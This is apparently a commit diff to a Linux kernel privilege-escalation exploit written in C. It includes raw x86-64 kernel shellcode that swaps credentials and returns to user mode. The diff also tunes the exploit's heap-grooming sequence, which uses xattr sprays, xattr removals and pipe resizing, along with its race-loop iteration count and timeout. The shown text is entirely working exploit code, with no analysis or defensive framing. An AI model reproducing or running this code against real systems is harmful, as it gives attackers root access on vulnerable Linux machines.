38
38
#define CPU_A 1 // main cpu
39
39
#define CPU_B 0
40
40
#define MAX_TRY 4096
41
- #define TRY_PER_ITER 1024
41
+ #define TRY_PER_ITER 300
42
42
// TOTAL_ITER = MAX_TRY * TRY_PER_ITER
43
43
44
44
char shellcode [] = "\x0f\x01\xf8\x65\x4c\x8b\x24\x25\xc0\x0c\x02\x00\x4d\x8b\xb4\x24\x48\x02\x00\x00\x49\x81\xee\x30\xc0\x1e\x00\x4d\x89\xf0\x48\xc7\xc7\x01\x00\x00\x00\x4c\x89\xc0\x48\x05\x50\xde\x1b\x00\x41\x54\x41\x50\xff\xd0\x48\x89\xc3\x41\x58\x41\x5c\x4c\x89\xc0\x48\x05\x00\x69\xa7\x02\x48\x89\xc7\x48\x89\xbb\x38\x08\x00\x00\x49\x89\xbc\x24\x38\x08\x00\x00\x4c\x89\xc0\x48\x05\x40\x6b\xa7\x02\x48\x89\xc7\x49\x89\xbc\x24\xd8\x07\x00\x00\x0f\x01\xf8\x48\xcf" ;
@@ -289,7 +289,7 @@ void print_proc_self_maps_raw() {
289
289
}
290
290
291
291
int counter_init = 0 ;
292
- void race (int group_leader , int timer ) { // caller must have ownership of the group
292
+ void race (int group_leader , int init ) { // caller must have ownership of the group
293
293
int pipefd [2 ];
294
294
uint64_t buf [0x2000 ] = {0 , };
295
295
char buffer [0x100 ] = {0x41 , };
@@ -299,6 +299,22 @@ void race(int group_leader, int timer) { // caller must have ownership of the gr
299
299
}
300
300
int ppid = getppid ();
301
301
int status ;
302
+ if (init ) { // Will this help in forming a reliable memory layout?
303
+ spray_xattr_page (0x3008 , 12 , 1 ); // 12296
304
+ spray_xattr_page (0x4008 , 2 , 1 ); // 16392
305
+ remove_xattr ("security.x16392_0" , 1 );
306
+ remove_xattr ("security.x16392_1" , 1 );
307
+ remove_xattr ("security.x12296_5" , 1 );
308
+ remove_xattr ("security.x12296_6" , 1 );
309
+ remove_xattr ("security.x12296_11" , 1 );
310
+ resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
311
+ remove_xattr ("security.x12296_10" , 1 );
312
+ remove_xattr ("security.x12296_7" , 1 );
313
+ if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
314
+ perror ("reclaim failed" );
315
+ exit (EXIT_FAILURE );
316
+ }
317
+ }
302
318
if (setxattr ("/tmp/x1" , "security.ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
303
319
perror ("reclaim failed" );
304
320
exit (EXIT_FAILURE );
@@ -470,27 +486,12 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
470
486
sched_yield ();
471
487
// Minimizing heap noise.
472
488
// child will be running on CPU_A
473
- spray_xattr_page (0x3008 , 12 , 1 ); // 12296
474
- spray_xattr_page (0x4008 , 2 , 1 ); // 16392
475
- remove_xattr ("security.x16392_0" , 1 );
476
- remove_xattr ("security.x16392_1" , 1 );
477
- remove_xattr ("security.x12296_5" , 1 );
478
- remove_xattr ("security.x12296_6" , 1 );
479
- sched_yield ();
480
- // this reclaim process must be atomic
481
- remove_xattr ("security.x12296_11" , 1 );
482
- resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
483
- remove_xattr ("security.x12296_10" , 1 );
484
- remove_xattr ("security.x12296_7" , 1 );
485
- if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
486
- perror ("reclaim failed" );
487
- exit (EXIT_FAILURE );
488
- }
489
-
490
489
for (int _ ; _ < TRY_PER_ITER ; _ ++ ) {
491
490
while (!atomic_load (& race_go ));
492
- race (group_leader , MIN + _ * 50 );
493
-
491
+ if (_ == 0 )
492
+ race (group_leader , 1 );
493
+ else
494
+ race (group_leader , 0 );
494
495
}
495
496
}
496
497
sleep (9999999 );
@@ -717,7 +718,7 @@ int main(void) {
717
718
race_oracle ();
718
719
tfd = timerfd_create (CLOCK_MONOTONIC , 0 );
719
720
do_epoll_enqueue (tfd );
720
- alarm (60 * 30 );
721
+ alarm (900 );
721
722
spray_xattr_page (0x3000 , 2048 , 0 );
722
723
723
724
exploit ();
0 commit comments